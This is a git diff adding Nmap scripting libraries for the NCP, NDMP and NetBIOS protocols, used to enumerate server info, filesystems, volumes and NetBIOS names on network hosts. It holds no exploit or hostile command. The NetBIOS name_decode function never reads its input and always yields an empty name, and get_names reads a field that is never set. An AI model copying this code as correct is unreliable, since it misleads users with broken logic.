+ local msg_size, unknown, proto_flags, nds_verb = 40, 0, 0, 5
+ local nds_reply_buf, version, flags = 4100, 1, 0x0001
+ local iter_handle = 0xffffffff
+ -- TODO: unknown2 is not used. Should it be?
+ local unknown2 = 0x0e
+ local info_flags = 0x0000381d
+
+ local data = string.pack("<I4I4I4I2I2I4I4I4I2I2I4I4I4", frag_handle, frag_size, msg_size,
+ unknown, proto_flags, nds_verb, nds_reply_buf, version, flags,
+ unknown, iter_handle, entry.id, info_flags )
+
+ -- no name filter
+ .. "\0\0\0\0"
+
+ -- no class filter
+ .. "\0\0\0\0"
+
+ p:setData(data)
+ local status, entries = self:Exch( p )
+ if ( not(status) ) then return false, entries end
+
+ return true, entries
+ end,
+
+}
+
+
+Helper = {
+
+ --- Creates a new Helper instance
+ -- @return a new Helper instance
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ --- Connect the socket and creates a NCP connection
+ -- @return true on success false on failure
+ connect = function(self)
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(5000)
+ local status, err = self.socket:connect(self.host, self.port)
+ if ( not(status) ) then return status, err end
+
+ self.ncp = NCP:new(self.socket)
+ return self.ncp:CreateConnect()
+ end,
+
+ --- Closes the helper connection
+ close = function(self)
+ self.ncp:DestroyConnect()
+ self.socket:close()
+ end,
+
+ --- Performs a directory search
+ -- @param base string containing the name of the base to search
+ -- @param class string containing the type of class to search
+ -- @param name string containing the name of the object to find
+ -- @param options table containing on or more of the following
+ -- <code>numobjs</code> - number of objects to limit the search to
+ search = function(self, base, class, name, options)
+ local base = base or "[Root]"
+ local status, entry = self.ncp:ResolveName(base)
+
+ if ( not(status) ) then
+ return false, "Search failed, base could not be resolved"
+ end
+
+ local status, result = self.ncp:Search(entry, class, name, options)
+ if (not(status)) then return false, result end
+
+ return status, result
+ end,
+
+ --- Retrieves some information from the server using the following NCP
+ -- functions:
+ --
+ -- * <code>GetFileServerInfo</code>
+ -- * <code>Ping</code>
+ -- * <code>EnumerateNetworkAddress</code>
+ -- * <code>GetMountVolumeList</code>
+ --
+ -- The result contains the Tree name, product versions and mounts
+ getServerInfo = function(self)
+ local status, srv_info = self.ncp:GetFileServerInfo()
+ if ( not(status) ) then return false, srv_info end
+
+ local status, ping_info = self.ncp:Ping()
+ if ( not(status) ) then return false, ping_info end
+
+ local status, net_info = self.ncp:EnumerateNetworkAddress()
+ if ( not(status) ) then return false, net_info end
+
+ local status, mnt_list = self.ncp:GetMountVolumeList()
+ if ( not(status) ) then return false, mnt_list end
+
+ local output = {}
+ table.insert(output, ("Server name: %s"):format(srv_info.srvname))
+ table.insert(output, ("Tree Name: %s"):format(ping_info.tree_name))
+ table.insert(output,
+ ("OS Version: %d.%d (rev %d)"):format(srv_info.os_major,
+ srv_info.os_minor, srv_info.os_rev))
+ table.insert(output,
+ ("Product version: %d.%d (rev %d)"):format(srv_info.product_major,
+ srv_info.product_minor, srv_info.product_rev))
+ table.insert(output, ("OS Language ID: %d"):format(srv_info.os_lang_id))
+
+ local niceaddr = {}
+ for _, addr in ipairs(net_info.addr) do
+ table.insert(niceaddr, ("%s %d/%s"):format(addr.ip,addr.port,
+ addr.proto))
+ end
+
+ niceaddr.name = "Addresses"
+ table.insert(output, niceaddr)
+
+ local mounts = {}
+ for _, mount in ipairs(mnt_list) do
+ table.insert(mounts, mount.vol_name)
+ end
+
+ mounts.name = "Mounts"
+ table.insert(output, mounts)
+
+ if ( nmap.debugging() > 0 ) then
+ table.insert(output, ("Acct version: %d"):format(srv_info.acct_version))
+ table.insert(output, ("VAP version: %d"):format(srv_info.vap_version))
+ table.insert(output, ("QMS version: %d"):format(srv_info.qms_version))
+ table.insert(output,
+ ("Print server version: %d"):format(srv_info.print_version))
+ table.insert(output,
+ ("Virtual console version: %d"):format(srv_info.virt_console_ver))
+ table.insert(output,
+ ("Security Restriction Version: %d"):format(srv_info.sec_restrict_ver))
+ table.insert(output,
+ ("Internet Bridge Version: %d"):format(srv_info.internet_bridge_ver))
+ end
+
+ return true, output
+ end,
+}
+
+--- "static" Utility class containing mostly conversion functions
+Util =
+{
+ --- Pads a string with zeroes
+ --
+ -- @param str string containing the string to be padded
+ -- @param len number containing the length of the new string
+ -- @return str string containing the new string
+ ZeroPad = function( str, len )
+ return str .. string.rep('\0', len - #str)
+ end,
+
+ -- Removes trailing nulls
+ --
+ -- @param str containing the string
+ -- @return ret the string with any trailing nulls removed
+ CToLuaString = function( str )
+ local ret
+
+ if ( not(str) ) then return "" end
+ if ( str:sub(-1, -1 ) ~= "\0" ) then return str end
+
+ for i=1, #str do
+ if ( str:sub(-i,-i) == "\0" ) then
+ ret = str:sub(1, -i - 1)
+ else
+ break
+ end
+ end
+ return ret
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/ndmp.lua b/nselib/ndmp.lua
new file mode 100644
index 0000000..8339037
--- /dev/null
+++ b/nselib/ndmp.lua
@@ -0,0 +1,423 @@
+---
+-- A minimalistic NDMP (Network Data Management Protocol) library
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+local match = require "match"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("ndmp", stdnse.seeall)
+
+NDMP = {
+
+ -- Message types
+ MessageType = {
+ CONFIG_GET_HOST_INFO = 0x00000100,
+ CONFIG_GET_FS_INFO = 0x00000105,
+ CONFIG_GET_AUTH_ATTR = 0x00000103,
+ CONFIG_GET_SERVER_INFO = 0x00000108,
+ CONNECT_CLIENT_AUTH = 0x00000901,
+ },
+
+ -- Error types
+ ErrorType = {
+ NOT_AUTHORIZED_ERROR = 0x00000004
+ },
+
+ -- The fragment header, 4 bytes where the highest bit is used to determine
+ -- whether the fragment is the last or not.
+ FragmentHeader = {
+ size = 4,
+
+ -- Creates a new instance of fragment header
+ -- @return o instance of Class
+ new = function(self)
+ local o = {
+ last = true,
+ length = 24,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Parse data stream and create a new instance of this class
+ -- @param data opaque string
+ -- @return fh new instance of FragmentHeader class
+ parse = function(data)
+ local fh = NDMP.FragmentHeader:new()
+ local tmp = string.unpack(">I4", data)
+ fh.length = (tmp & 0x7fffffff)
+ fh.last= (tmp >> 31)
+ return fh
+ end,
+
+ -- Serializes the instance to an opaque string
+ -- @return str string containing the serialized class
+ __tostring = function(self)
+ local tmp = 0
+ if ( self.last ) then
+ tmp = 0x80000000
+ end
+ tmp = tmp + self.length
+ return string.pack(">I4", tmp)
+ end,
+
+ },
+
+ -- The ndmp 24 byte header
+ Header = {
+ size = 24,
+
+ -- creates a new instance of Header
+ -- @return o instance of Header
+ new = function(self)
+ local o = {
+ seq = 0,
+ time = os.time(),
+ type = 0,
+ msg = 0x00000108,
+ reply_seq = 0,
+ error = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Create a Header instance from opaque data string
+ -- @param data opaque string
+ -- @return hdr new instance of Header
+ parse = function(data)
+ local hdr = NDMP.Header:new()
+ hdr.seq, hdr.time, hdr.type, hdr.msg, hdr.reply_seq, hdr.error = string.unpack(">I4I4I4I4I4I4", data)
+ return hdr
+ end,
+
+ -- Serializes the instance to an opaque string
+ -- @return str string containing the serialized class instance
+ __tostring = function(self)
+ return string.pack(">I4I4I4I4I4I4", self.seq, self.time, self.type, self.msg, self.reply_seq, self.error)
+ end,
+
+ },
+}
+
+NDMP.Message = {}
+
+NDMP.Message.ConfigGetServerInfo = {
+
+ -- Creates a Config Server Info instance
+ -- @return o new instance of Class
+ new = function(self)
+ local o = {
+ frag_header = NDMP.FragmentHeader:new(),
+ header = NDMP.Header:new(),
+ data = nil,
+ }
+ o.header.msg = NDMP.MessageType.CONFIG_GET_SERVER_INFO
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Create a ConfigGetServerInfo instance from opaque data string
+ -- @param data opaque string
+ -- @return msg new instance of ConfigGetServerInfo
+ parse = function(data)
+ local msg = NDMP.Message.ConfigGetServerInfo:new()
+ msg.frag_header = NDMP.FragmentHeader.parse(data)
+ data = data:sub(NDMP.FragmentHeader.size + 1)
+ msg.header = NDMP.Header.parse(data)
+ msg.data = data:sub(NDMP.Header.size + 1)
+
+ msg.serverinfo = {}
+ local err, pos = string.unpack(">I4", msg.data)
+ pos, msg.serverinfo.vendor = Util.parseString(msg.data, pos)
+ pos, msg.serverinfo.product = Util.parseString(msg.data, pos)
+ pos, msg.serverinfo.version = Util.parseString(msg.data, pos)
+ return msg
+ end,
+
+ -- Serializes the instance to an opaque string
+ -- @return str string containing the serialized class instance
+ __tostring = function(self)
+ return tostring(self.frag_header) .. tostring(self.header) .. tostring(self.data or "")
+ end,
+
+}
+
+NDMP.Message.ConfigGetHostInfo = {
+ new = function(self)
+ local o = {
+ frag_header = NDMP.FragmentHeader:new(),
+ header = NDMP.Header:new(),
+ data = nil,
+ }
+ o.header.msg = NDMP.MessageType.CONFIG_GET_HOST_INFO
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local msg = NDMP.Message.ConfigGetServerInfo:new()
+ msg.frag_header = NDMP.FragmentHeader.parse(data)
+ data = data:sub(NDMP.FragmentHeader.size + 1)
+ msg.header = NDMP.Header.parse(data)
+ if ( msg.header.error == NDMP.ErrorType.NOT_AUTHORIZED_ERROR ) then
+ -- no data to parse
+ return msg
+ end
+ msg.data = data:sub(NDMP.Header.size + 1)
+
+ msg.hostinfo = {}
+ local err, pos = string.unpack(">I4", msg.data)
+ pos, msg.hostinfo.hostname = Util.parseString(msg.data, pos)
+ pos, msg.hostinfo.ostype = Util.parseString(msg.data, pos)
+ pos, msg.hostinfo.osver = Util.parseString(msg.data, pos)
+ pos, msg.hostinfo.hostid = Util.parseString(msg.data, pos)
+ return msg
+ end,
+
+ __tostring = function(self)
+ return tostring(self.frag_header) .. tostring(self.header) .. tostring(self.data or "")
+ end,
+}
+
+NDMP.Message.ConfigGetFsInfo = {
+
+ new = function(self)
+ local o = {
+ frag_header = NDMP.FragmentHeader:new(),
+ header = NDMP.Header:new(),
+ data = nil,
+ fsinfo = {},
+ }
+ o.header.msg = NDMP.MessageType.CONFIG_GET_FS_INFO
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local msg = NDMP.Message.ConfigGetFsInfo:new()
+ msg.frag_header = NDMP.FragmentHeader.parse(data)
+ data = data:sub(NDMP.FragmentHeader.size + 1)
+ msg.header = NDMP.Header.parse(data)
+ if ( msg.header.error == NDMP.ErrorType.NOT_AUTHORIZED_ERROR ) then
+ -- no data to parse
+ return msg
+ end
+ msg.data = data:sub(NDMP.Header.size + 1)
+
+ local err, count, pos = string.unpack(">I4I4", msg.data)
+ for i=1, count do
+ local item = {}
+ item.invalid, pos = string.unpack(">I4", msg.data, pos)
+ pos, item.fs_type = Util.parseString(msg.data, pos)
+ pos, item.fs_logical_device = Util.parseString(msg.data, pos)
+ pos, item.fs_physical_device = Util.parseString(msg.data, pos)
+ item.total_size,
+ item.used_size,
+ item.avail_size,
+ item.total_inodes,
+ item.used_inodes, pos = string.unpack(">I8I8I8I8I8", msg.data, pos)
+ pos, item.fs_env = Util.parseString(msg.data, pos)
+ pos, item.fs_status = Util.parseString(msg.data, pos)
+ table.insert(msg.fsinfo, item)
+ end
+ return msg
+ end,
+
+ __tostring = function(self)
+ return tostring(self.frag_header) .. tostring(self.header) .. tostring(self.data or "")
+ end,
+}
+
+NDMP.Message.UnhandledMessage = {
+
+ new = function(self)
+ local o = {
+ frag_header = NDMP.FragmentHeader:new(),
+ header = NDMP.Header:new(),
+ data = nil,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data)
+ local msg = NDMP.Message.ConfigGetFsInfo:new()
+ msg.frag_header = NDMP.FragmentHeader.parse(data)
+ data = data:sub(NDMP.FragmentHeader.size + 1)
+ msg.header = NDMP.Header.parse(data)
+ msg.data = data:sub(NDMP.Header.size + 1)
+ return msg
+ end,
+
+ __tostring = function(self)
+ return tostring(self.frag_header) .. tostring(self.header) .. tostring(self.data or "")
+ end
+
+}
+
+Util = {
+
+ parseString = function(data, pos)
+ local str, pos = string.unpack(">s4", data, pos)
+ local pad = ( 4 - ( #str % 4 ) ~= 4 ) and 4 - ( #str % 4 ) or 0
+ return pos + pad, str
+
+ end,
+
+}
+
+NDMP.TypeToMessage = {
+ [NDMP.MessageType.CONFIG_GET_SERVER_INFO] = NDMP.Message.ConfigGetServerInfo,
+ [NDMP.MessageType.CONFIG_GET_HOST_INFO] = NDMP.Message.ConfigGetHostInfo,
+ [NDMP.MessageType.CONFIG_GET_FS_INFO] = NDMP.Message.ConfigGetFsInfo,
+}
+
+-- Handles the communication with the NDMP service
+Comm = {
+
+ -- Creates new Comm instance
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @return o new instance of Comm
+ new = function(self, host, port)
+ local o = {
+ host = host,
+ port = port,
+ socket = nmap.new_socket(),
+ seq = 0,
+ in_queue = {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects to the NDMP server
+ -- @return status true on success, false on failure
+ connect = function(self)
+ -- some servers seem to take their time, so leave this as 10s for now
+ self.socket:set_timeout(10000)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ -- Receives a message from the server
+ -- @return status true on success, false on failure
+ -- @return msg NDMP message when a parser exists, otherwise nil
+ sock_recv = function(self)
+ local status, frag_data = self.socket:receive_buf(match.numbytes(4), true)
+ if ( not(status) ) then
+ return false, "Failed to read NDMP 4-byte fragment header"
+ end
+ local frag_header = NDMP.FragmentHeader.parse(frag_data)
+
+ local status, header_data = self.socket:receive_buf(match.numbytes(24), true)
+ if ( not(status) ) then
+ return false, "Failed to read NDMP 24-byte header"
+ end
+ local header = NDMP.Header.parse(header_data)
+
+ local status, data = self.socket:receive_buf(match.numbytes(frag_header.length - 24), true)
+ if ( not(status) ) then
+ return false, "Failed to read NDMP data"
+ end
+
+ if ( NDMP.TypeToMessage[header.msg] ) then
+ return true, NDMP.TypeToMessage[header.msg].parse(frag_data .. header_data .. data)
+ end
+ return true, NDMP.Message.UnhandledMessage.parse(frag_data .. header_data .. data)
+ end,
+
+ recv = function(self)
+ if ( #self.in_queue > 0 ) then
+ return true, table.remove(self.in_queue, 1)
+ end
+ return self:sock_recv()
+ end,
+
+ -- Sends a message to the server
+ -- @param msg NDMP message
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message when status is false
+ send = function(self, msg)
+ self.seq = self.seq + 1
+ msg.header.seq = self.seq
+ return self.socket:send(tostring(msg))
+ end,
+
+
+ exch = function(self, msg)
+ local status, err = self:send(msg)
+ if ( not(status) ) then
+ return false, "Failed to send ndmp Message to server"
+ end
+ local s_seq = msg.header.seq
+
+ for k, v in ipairs(self.in_queue) do
+ if ( v.reply_seq == s_seq ) then
+ return true, table.remove(self.in_queue, k)
+ end
+ end
+
+ while(true) do
+ local reply
+ status, reply = self:sock_recv()
+ if ( not(status) ) then
+ return false, "Failed to receive msg from server"
+ elseif ( reply and reply.header and reply.header.reply_seq == s_seq ) then
+ return true, reply
+ else
+ table.insert(self.in_queue, reply)
+ end
+ end
+ end,
+
+ close = function(self) return self.socket:close() end,
+
+}
+
+
+Helper = {
+
+ new = function(self, host, port)
+ local o = { comm = Comm:new(host, port) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ return self.comm:connect()
+ end,
+
+ getFsInfo = function(self)
+ return self.comm:exch(NDMP.Message.ConfigGetFsInfo:new())
+ end,
+
+ getHostInfo = function(self)
+ return self.comm:exch(NDMP.Message.ConfigGetHostInfo:new())
+ end,
+
+ getServerInfo = function(self)
+ return self.comm:exch(NDMP.Message.ConfigGetServerInfo:new())
+ end,
+
+ close = function(self)
+ return self.comm:close()
+
+ end
+
+}
+
+return _ENV;
diff --git a/nselib/netbios.lua b/nselib/netbios.lua
new file mode 100644
index 0000000..47b4d4d
--- /dev/null
+++ b/nselib/netbios.lua
@@ -0,0 +1,489 @@
+---
+-- Creates and parses NetBIOS traffic. The primary use for this is to send
+-- NetBIOS name requests.
+--
+-- @author Ron Bowes <ron@skullsecurity.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local dns = require "dns"
+local math = require "math"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("netbios", stdnse.seeall)
+
+
+types = {
+ NB = 32,
+ NBSTAT = 33,
+}
+
+--- Encode a NetBIOS name for transport.
+--
+-- Most packets that use the NetBIOS name require this encoding to happen
+-- first. It takes a name containing any possible character, and converted it
+-- to all uppercase characters (so it can, for example, pass case-sensitive
+-- data in a case-insensitive way)
+--
+-- There are two levels of encoding performed:
+-- * L1: Pad the string to 16 characters withs spaces (or NULLs if it's the
+-- wildcard "*") and replace each byte with two bytes representing each
+-- of its nibbles, plus 0x41.
+-- * L2: Prepend the length to the string, and to each substring in the scope
+-- (separated by periods).
+--@param name The name that will be encoded (eg. "TEST1").
+--@param scope [optional] The scope to encode it with. I've never seen scopes used
+-- in the real world (eg, "insecure.org").
+--@return The L2-encoded name and scope
+-- (eg. "\x20FEEFFDFEDBCACACACACACACACACAAA\x08insecure\x03org")
+function name_encode(name, scope)
+
+ stdnse.debug3("Encoding name '%s'", name)
+ -- Truncate or pad the string to 16 bytes
+ if(#name >= 16) then
+ name = string.sub(name, 1, 16)
+ else
+ local padding = " "
+ if name == "*" then
+ padding = "\0"
+ end
+
+ name = name .. string.rep(padding, 16 - #name)
+ end
+
+ -- Convert to uppercase
+ name = string.upper(name)
+
+ -- Do the L1 encoding
+ local L1_encoded = {}
+ for i=1, #name, 1 do
+ local b = string.byte(name, i)
+ L1_encoded[i*2-1] = string.char(((b & 0xF0) >> 4) + 0x41)
+ L1_encoded[i*2] = string.char((b & 0x0F) + 0x41)
+ end
+
+ -- Do the L2 encoding
+ local L2_encoded = { string.char(32), table.concat(L1_encoded) }
+
+ if scope ~= nil then
+ -- Split the scope at its periods
+ local piece
+ for piece in string.gmatch(scope, "[^.]+") do
+ L2_encoded[#L2_encoded+1] = string.char(#piece) .. piece
+ end
+ end
+
+ L2_encoded = table.concat(L2_encoded)
+ stdnse.debug3("=> '%s'", L2_encoded)
+ return L2_encoded
+end
+
+
+
+--- Converts an encoded name to the string representation.
+--
+-- If the encoding is invalid, it will still attempt to decode the string as
+-- best as possible.
+--@param encoded_name The L2-encoded name
+--@return the decoded name and the scope. The name will still be padded, and the
+-- scope will never be nil (empty string is returned if no scope is present)
+function name_decode(encoded_name)
+ local name = ""
+ local scope = ""
+
+ local len = string.byte(encoded_name, 1)
+ local i
+
+ stdnse.debug3("Decoding name '%s'", encoded_name)
+
+ name = name:gsub("(.)(.)", function (a, b)
+ local ch = ((string.byte(a) - 0x41) << 4) | (string.byte(b) - 0x41)
+ return string.char(ch)
+ end)
+
+ -- Decode the scope
+ local pos = 34
+ while #encoded_name > pos do
+ local len = string.byte(encoded_name, pos)
+ scope = scope .. string.sub(encoded_name, pos + 1, pos + len) .. "."
+ pos = pos + 1 + len
+ end
+
+ -- If there was a scope, remove the trailing period
+ if(#scope > 0) then
+ scope = string.sub(scope, 1, #scope - 1)
+ end
+
+ stdnse.debug3("=> '%s'", name)
+
+ return name, scope
+end
+
+--- Sends out a UDP probe on port 137 to get a human-readable list of names the
+-- the system is using.
+--@param host The IP or hostname to check.
+--@param prefix [optional] The prefix to put on each line when it's returned.
+--@return (status, result) If status is true, the result is a human-readable
+-- list of names. Otherwise, result is an error message.
+function get_names(host, prefix)
+
+ local status, names, statistics = do_nbstat(host)
+
+ if(prefix == nil) then
+ prefix = ""
+ end
+
+
+ if(status) then
+ local result = ""
+ for i = 1, #names, 1 do
+ result = result .. string.format("%s%s<%02x>\n", prefix, names[i]['name'], names[i]['prefix'])
+ end
+
+ return true, result
+ else
+ return false, names
+ end
+end
+
+--- Sends out a UDP probe on port 137 to get the server's name (that is, the
+-- entry in its NBSTAT table with a 0x20 suffix).
+--@param host The IP or hostname of the server.
+--@param names [optional] The names to use, from <code>do_nbstat</code>.
+--@return (status, result) If status is true, the result is the NetBIOS name.
+-- otherwise, result is an error message.
+function get_server_name(host, names)
+
+ local status
+ local i
+
+ if names == nil then
+ status, names = do_nbstat(host)
+
+ if(status == false) then
+ return false, names
+ end
+ end
+
+ for i = 1, #names, 1 do
+ if names[i]['suffix'] == 0x20 then
+ return true, names[i]['name']
+ end
+ end
+
+ return true, nil
+end
+
+--- Sends out a UDP probe on port 137 to get the workstation's name (that is, the
+-- unique entry in its NBSTAT table with a 0x00 suffix).
+--@param host The IP or hostname of the server.
+--@param names [optional] The names to use, from <code>do_nbstat</code>.
+--@return (status, result) If status is true, the result is the NetBIOS name.
+-- otherwise, result is an error message.
+function get_workstation_name(host, names)
+
+ local status
+ local i
+
+ if names == nil then
+ status, names = do_nbstat(host)
+
+ if(status == false) then
+ return false, names
+ end
+ end
+
+ for i = 1, #names, 1 do
+ if names[i]['suffix'] == 0x00 and (names[i]['flags'] & 0x8000) == 0 then
+ return true, names[i]['name']
+ end
+ end
+
+ return true, nil
+end
+--- Sends out a UDP probe on port 137 to get the user's name
+--
+-- User name is the entry in its NBSTAT table with a 0x03 suffix, that isn't
+-- the same as the server's name. If the username can't be determined, which is
+-- frequently the case, nil is returned.
+--@param host The IP or hostname of the server.
+--@param names [optional] The names to use, from <code>do_nbstat</code>.
+--@return (status, result) If status is true, the result is the NetBIOS name or nil.
+-- otherwise, result is an error message.
+function get_user_name(host, names)
+
+ local status, server_name = get_server_name(host, names)
+
+ if(status == false) then
+ return false, server_name
+ end
+
+ if(names == nil) then
+ status, names = do_nbstat(host)
+
+ if(status == false) then
+ return false, names
+ end
+ end
+
+ for i = 1, #names, 1 do
+ if names[i]['suffix'] == 0x03 and names[i]['name'] ~= server_name then
+ return true, names[i]['name']
+ end
+ end
+
+ return true, nil
+
+end
+
+
+--- This is the function that actually handles the UDP query to retrieve
+-- the NBSTAT information.
+--
+-- We make use of the Nmap registry here, so if another script has already
+-- performed a nbstat query, the result can be re-used.
+--
+-- The NetBIOS request's header looks like this:
+--<code>
+-- --------------------------------------------------
+-- | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 |
+-- | NAME_TRN_ID |
+-- | R | OPCODE | NM_FLAGS | RCODE | (FLAGS)
+-- | QDCOUNT |
+-- | ANCOUNT |
+-- | NSCOUNT |
+-- | ARCOUNT |
+-- --------------------------------------------------
+--</code>
+--
+-- In this case, the TRN_ID is a constant (0x1337, what else?), the flags
+-- are 0, and we have one question. All fields are network byte order.
+--
+-- The body of the packet is a list of names to check for in the following
+-- format:
+-- * (ntstring) encoded name
+-- * (2 bytes) query type (0x0021 = NBSTAT)
+-- * (2 bytes) query class (0x0001 = IN)
+--
+-- The response header is the exact same, except it'll have some flags set
+-- (0x8000 for sure, since it's a response), and ANCOUNT will be 1. The format
+-- of the answer is:
+--
+-- * (ntstring) requested name
+-- * (2 bytes) query type
+-- * (2 bytes) query class
+-- * (2 bytes) time to live
+-- * (2 bytes) record length
+-- * (1 byte) number of names
+-- * [for each name]
+-- * (16 bytes) padded name, with a 1-byte suffix
+-- * (2 bytes) flags
+-- * (variable) statistics (usually mac address)
+--
+--@param host The IP or hostname of the system.
+--@return (status, names, statistics) If status is true, then the servers names are
+-- returned as a table containing 'name', 'suffix', and 'flags'.
+-- Otherwise, names is an error message and statistics is undefined.
+function do_nbstat(host)
+
+ local status, err
+ local socket = nmap.new_socket()
+ local encoded_name = name_encode("*")
+ local statistics
+ local reg
+ if type(host) == "string" then --ip
+ stdnse.debug3("Performing nbstat on host '%s'", host)
+ nmap.registry.netbios = nmap.registry.netbios or {}
+ nmap.registry.netbios[host] = nmap.registry.netbios[host] or {}
+ reg = nmap.registry.netbios[host]
+ else
+ stdnse.debug3("Performing nbstat on host '%s'", host.ip)
+ if host.registry.netbios == nil and
+ nmap.registry.netbios ~= nil and
+ nmap.registry.netbios[host.ip] ~= nil then
+ host.registry.netbios = nmap.registry.netbios[host.ip]
+ end
+ host.registry.netbios = host.registry.netbios or {}
+ reg = host.registry.netbios
+ end
+
+ -- Check if it's cached in the registry for this host
+ if(reg["nbstat_names"] ~= nil) then
+ stdnse.debug3(" |_ [using cached value]")
+ return true, reg["nbstat_names"], reg["nbstat_statistics"]
+ end
+
+ -- Create the query header
+ local query = string.pack(">I2I2I2I2I2I2",
+ 0x1337, -- Transaction id
+ 0x0000, -- Flags
+ 1, -- Questions
+ 0, -- Answers
+ 0, -- Authority
+ 0 -- Extra
+ ) .. string.pack(">zI2I2",
+ encoded_name, -- Encoded name
+ 0x0021, -- Query type (0x21 = NBSTAT)
+ 0x0001 -- Class = IN
+ )
+ status, err = socket:connect(host, 137, "udp")
+ if(status == false) then
+ return false, err
+ end
+
+ status, err = socket:send(query)
+ if(status == false) then
+ return false, err
+ end
+
+ socket:set_timeout(1000)
+
+ local status, result = socket:receive_bytes(1)
+ if(status == false) then
+ return false, result
+ end
+
+ local close_status, err = socket:close()
+ if(close_status == false) then
+ return false, err
+ end
+
+ if(status) then
+ local pos, TRN_ID, FLAGS, QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT, rr_name, rr_type, rr_class, rr_ttl
+ local rrlength, name_count
+
+ TRN_ID, FLAGS, QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT, pos = string.unpack(">I2I2I2I2I2I2", result)
+
+ -- Sanity check the result (has to have the same TRN_ID, 1 answer, and proper flags)
+ if(TRN_ID ~= 0x1337) then
+ return false, string.format("Invalid transaction ID returned: 0x%04x", TRN_ID)
+ end
+ if(ANCOUNT ~= 1) then
+ return false, "Server returned an invalid number of answers"
+ end
+ if FLAGS & 0x8000 == 0 then
+ return false, "Server's flags didn't indicate a response"
+ end
+ if FLAGS & 0x0007 ~= 0 then
+ return false, string.format("Server returned a NetBIOS error: 0x%02x", FLAGS & 0x0007)
+ end
+
+ -- Start parsing the answer field
+ rr_name, rr_type, rr_class, rr_ttl, pos = string.unpack(">zI2I2I4", result, pos)
+
+ -- More sanity checks
+ if(rr_name ~= encoded_name) then
+ return false, "Server returned incorrect name"
+ end
+ if(rr_class ~= 0x0001) then
+ return false, "Server returned incorrect class"
+ end
+ if(rr_type ~= 0x0021) then
+ return false, "Server returned incorrect query type"
+ end
+
+ rrlength, name_count, pos = string.unpack(">I2B", result, pos)
+
+ local names = {}
+ for i = 1, name_count do
+ local name, suffix, flags
+
+ -- Instead of reading the 16-byte name and pulling off the suffix,
+ -- we read the first 15 bytes and then the 1-byte suffix.
+ name, suffix, flags, pos = string.unpack(">c15BI2", result, pos)
+ name = string.gsub(name, "[ ]*$", "")
+
+ names[i] = {}
+ names[i]['name'] = name
+ names[i]['suffix'] = suffix
+ names[i]['flags'] = flags
+
+ -- Decrement the length
+ rrlength = rrlength - 18
+ end
+
+ if(rrlength > 0) then
+ rrlength = rrlength - 1
+ end
+ statistics, pos = string.unpack(string.format(">c%d", rrlength), result, pos)
+
+ -- Put it in the registry, in case anybody else needs it
+ reg["nbstat_names"] = names
+ reg["nbstat_statistics"] = statistics
+
+ return true, names, statistics
+
+ else
+ return false, "Name query failed: " .. result
+ end
+end
+
+function nbquery(host, nbname, options)
+ -- override any options or set the default values
+ local options = options or {}
+ options.port = options.port or 137
+ options.retPkt = options.retPkt or true
+ options.dtype = options.dtype or types.NB
+ options.host = host.ip
+ options.flags = options.flags or ( options.multiple and 0x0110 )
+ options.id = math.random(0xFFFF)
+
+ -- encode and chop off the leading byte, as the dns library takes care of
+ -- specifying the length
+ local encoded_name = name_encode(nbname):sub(2)
+
+ local status, response = dns.query( encoded_name, options )
+ if ( not(status) ) then return false, "ERROR: nbquery failed" end
+
+ local results = {}
+ -- discard any additional responses
+ if ( options.multiple and #response > 0 ) then
+ for _, resp in ipairs(response) do
+ assert( options.id == resp.output.id, "Received packet with invalid transaction ID" )
+ if ( not(resp.output.answers) or #resp.output.answers < 1 ) then
+ return false, "ERROR: Response contained no answers"
+ end
+ local dname = string.char(#resp.output.answers[1].dname) .. resp.output.answers[1].dname
+ table.insert( results, { peer = resp.peer, name = name_decode(dname), data = resp.output.answers[1].data } )
+ end
+ return true, results
+ else
+ local dname = string.char(#response.answers[1].dname) .. response.answers[1].dname
+ return true, { { peer = host.ip, name = name_decode(dname), data = response.answers[1].data } }
+ end
+end
+
+---Convert the 16-bit flags field to a string.
+--@param flags The 16-bit flags field
+--@return A string representing the flags
+function flags_to_string(flags)
+ local result = {}
+
+ if flags & 0x8000 ~= 0 then
+ result[#result+1] = "<group>"
+ else
+ result[#result+1] = "<unique>"
+ end
+
+ if flags & 0x1000 ~= 0 then
+ result[#result+1] = "<deregister>"
+ end
+
+ if flags & 0x0800 ~= 0 then
+ result[#result+1] = "<conflict>"
+ end
+
+ if flags & 0x0400 ~= 0 then
+ result[#result+1] = "<active>"
+ end
+
+ if flags & 0x0200 ~= 0 then
+ result[#result+1] = "<permanent>"
+ end
+
+ return table.concat(result)
+end
+
+
+return _ENV;
diff --git a/nselib/nmap.luadoc b/nselib/nmap.luadoc
new file mode 100644
index 0000000..008029d
--- /dev/null
+++ b/nselib/nmap.luadoc
@@ -0,0 +1,839 @@
+---
+-- Interface with Nmap internals.
+--
+-- The <code>nmap</code> module is an interface with Nmap's internal functions
+-- and data structures. The API provides target host details such as port
+-- states and version detection results. It also offers an interface to the
+-- Nsock library for efficient network I/O.
